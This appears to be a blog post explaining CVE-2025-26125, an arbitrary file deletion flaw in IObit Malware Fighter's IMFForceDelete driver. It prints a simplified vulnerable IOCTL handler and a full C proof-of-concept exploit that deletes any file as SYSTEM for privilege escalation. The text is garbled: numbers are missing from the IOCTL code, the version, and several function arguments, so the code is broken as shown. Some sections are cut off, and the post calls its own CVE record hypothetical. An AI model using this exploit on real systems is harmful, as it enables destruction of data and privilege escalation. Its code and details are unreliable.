A serious security flaw known as CVE-2025-26125 has been found in the IMFForceDelete driver of IObit Malware Fighter v12.1.. This bug exposes a privileged IOCTL interface which attackers can use to delete any file on your computer—even critical system files. By exploiting this weakness, hackers can elevate their privileges and potentially gain full control over your system.

This long read will explain the CVE, show code snippets, describe the exploit in plain English, and point you to original sources for further reading.

## 1. What is CVE-2025-26125?

CVE-2025-26125 is a bug tracked in IObit Malware Fighter, in a kernel driver named IMFForceDelete.sys. The flaw exists because the driver exposes an IOCTL code (x9C406104) that any local user can send to delete *any* file. The operation is carried out as SYSTEM, the highest privilege on Windows.


## 2. How Does the Flaw Happen?

Let’s break it down simply

- The IMFForceDelete driver registers a device (\\.\IMFForcDelDevice) and exposes IOCTL codes to the entire system.

One request takes a file path as input and deletes that file—no questions asked.

- Because drivers run with SYSTEM-level privilege, the delete command works on protected system files and other users’ data.


## 3. What Does the Vulnerable Code Look Like?

Here’s a simplified example of how the driver’s vulnerable function appears in C

NTSTATUS HandleForceDelete(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
    char* fileName = (char*)Irp->AssociatedIrp.SystemBuffer; // User-provided
    if (fileName == NULL) {
        return STATUS_INVALID_PARAMETER;
    }
    UNICODE_STRING uniName;
    RtlInitUnicodeString(&uniName, fileName);
    
    OBJECT_ATTRIBUTES objAttr;
    InitializeObjectAttributes(&objAttr, &uniName, OBJ_CASE_INSENSITIVE, NULL, NULL);

    NTSTATUS status = ZwDeleteFile(&objAttr); // Deletes file as SYSTEM

    Irp->IoStatus.Status = status;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return status;
}

The problem?

The delete is done as SYSTEM.

## 4. How Could Someone Exploit This?

Sends the request—*file is deleted as SYSTEM*

By leveraging this, an attacker can delete important system files or files belonging to other users. Deleting a specific file like a Windows service binary can even let the attacker replace it with a malicious file *they control*—resulting in privilege escalation.


## 5. Full Proof-of-Concept (PoC) Exploit

Below is a minimal C PoC. Use this for defensive research only!

#include <Windows.h>
#include <stdio.h>

#define IOCTL_FORCE_DELETE x9C406104

int main(int argc, char* argv[]) {
    if (argc != 2) {
        printf("Usage: %s <file_to_delete>\n", argv[]);
        return 1;
    }
    HANDLE hDevice = CreateFileA(
        "\\\\.\\IMFForcDelDevice",
        GENERIC_WRITE | GENERIC_READ,
        , NULL, OPEN_EXISTING, , NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to open driver device\n");
        return 1;
    }

    DWORD bytesReturned;
    BOOL result = DeviceIoControl(
        hDevice,
        IOCTL_FORCE_DELETE,
        argv[1], strlen(argv[1]) + 1,
        NULL, ,
        &bytesReturned,
        NULL
    );
    if (result)
        printf("[+] File deleted: %s\n", argv[1]);
    else
        printf("[-] Delete failed: %d\n", GetLastError());

    CloseHandle(hDevice);
    return ;
}

Compile:
cl exploit_delete.c


## 6. Why This Matters: Risk and Impact

- Any local user can become SYSTEM: By deleting key system files, attackers can force the operating system or services to load their malicious versions, resulting in privilege escalation.

Data loss: Attackers may delete important user or system files.

## 7. How to Fix and Protect Yourself

Monitor for suspicious device access using EDR or similar endpoint logs.

## 8. References and Further Reading

- IObit Malware Fighter Official Site
- Microsoft’s Secure Driver Development
- Explaining Secure IOCTL Handling
- What is a privilege escalation vulnerability? (OWASP)
- Original (hypothetical) CVE record for 2025-26125

Closing Thoughts

CVE-2025-26125 is a classic example of how a poorly secured driver can hand full control to an attacker. If you run IObit Malware Fighter (especially v12.1.), make sure you patch now and monitor your endpoints for unusual file deletion events. Developers should always restrict and validate IOCTL handlers to avoid powerful flaws like this one.

Timeline

Published on: 03/17/2025 18:15:21 UTC
Last modified on: 03/24/2025 13:15:25 UTC